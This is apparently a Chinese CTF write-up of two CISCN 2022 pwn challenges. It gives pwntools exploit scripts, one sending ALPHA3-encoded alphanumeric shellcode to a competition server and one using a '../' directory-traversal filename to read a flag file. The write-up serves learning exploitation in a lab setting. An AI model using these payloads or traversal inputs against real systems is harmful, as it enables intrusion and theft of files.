前言
今年ciscn总共三题pwn,一题算是签到,一题2.34的堆做一半没成功,一题LLVM PASS没学过完全不会。分区赛六题pwn,awdplus的模式,成了修洞的乐园。
login-nomal
这题其实做过类似的,在蓝帽杯还是哪来着做过,在代码审计部分差不多一致,只是在最后的利用过程有改动。首先就是一个循环执行函数,接着看函数的主要内容。
 image-20220705213148416
image-20220705213148416
接着看又是一个循环,这个循环就是这题最麻烦的点了,需要一步步的耐心整理,当时我做是直接找了类似题目进行比较的,所以没花多少功夫,需要注意一下的就是msg后跟的字符串要多输入一个,因为处理的时候strlen-1了,会少一个字符。
 image-20220705213257184
image-20220705213257184
审完上面的代码,接下来就是主要的菜单内容,主要关注1和3执行的内容。
 image-20220705213831271
image-20220705213831271
在执行1函数可以设置一个flag为1,这个为3执行到mmap提供真的判断条件,而要能够执行这串代码,需要的是先通过isprint的检验,所以就是只能输入明文字符,这就涉及到的一个考点就是明文字符书写shellcode。明文字符生成可以通过alpha3或者AE64进行自动生成。我使用的是alpha3,执行命令为:
| 1
 | python ./ALPHA3.py x64 ascii mixedcase rdx --input="shellcode"
 | 
rdx是指call后面跟着的那个寄存器,也就是存放shellcode首地址的寄存器。
 image-20220705213700566
image-20220705213700566
 image-20220705213732318
image-20220705213732318
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 
 | 
 from pwn import *
 context(arch = 'amd64',os = 'linux',log_level = 'debug')
 elf = ELF('./login')
 DEBUG = 0
 if DEBUG:
 libc = ELF("/home/shoucheng/glibc-all-in-one/libs/2.33-0ubuntu5_amd64/libc-2.33.so")
 ld = ELF("/home/shoucheng/glibc-all-in-one/libs/2.33-0ubuntu5_amd64/ld-2.33.so")
 p = process(argv=[ld.path,elf.path], env={"LD_PRELOAD" : libc.path})
 p = process('./login')
 else:
 ip = '47.93.156.2'
 port = 24875
 
 p = remote(ip, port)
 
 
 def debug():
 gdb.attach(p, "b main")
 
 
 
 p.recvuntil(">>> ")
 p.send("opt:1\nmsg:ro0ta\n\n")
 p.recvuntil(">>> ")
 
 p.send("opt:2\nmsg:Rh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070ta\n\n")
 
 p.interactive()
 
 | 
二维码
这题跑去问了柘狐师傅,也是个签到题。但是比赛那会没做出来,太菜了。
利用点在于black初始值是为0的,那么没有过滤..
 image-20220707093637899
image-20220707093637899
同时,因为可以输入文件的名字,并且是可以含有.和/,那么就存在了目录穿越的问题,利用../可以返回到上一级的特点,可以把flag内容打印出来。
 image-20220707093800921
image-20220707093800921
 image-20220707093746094
image-20220707093746094
打印出的内容为base64加密的结果,解码即可。
 image-20220707094151700
image-20220707094151700
 image-20220707094220973
image-20220707094220973
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 
 | from pwn import *
 p = process('./pwn2')
 context(log_level = 'debug')
 p.recvuntil("change filename? (y/N)")
 p.send('y')
 p.recvuntil("input new filename: ")
 p.send("../home/shoucheng/pwn/flag\n")
 p.shutdown('write')
 p.interactive()
 
 |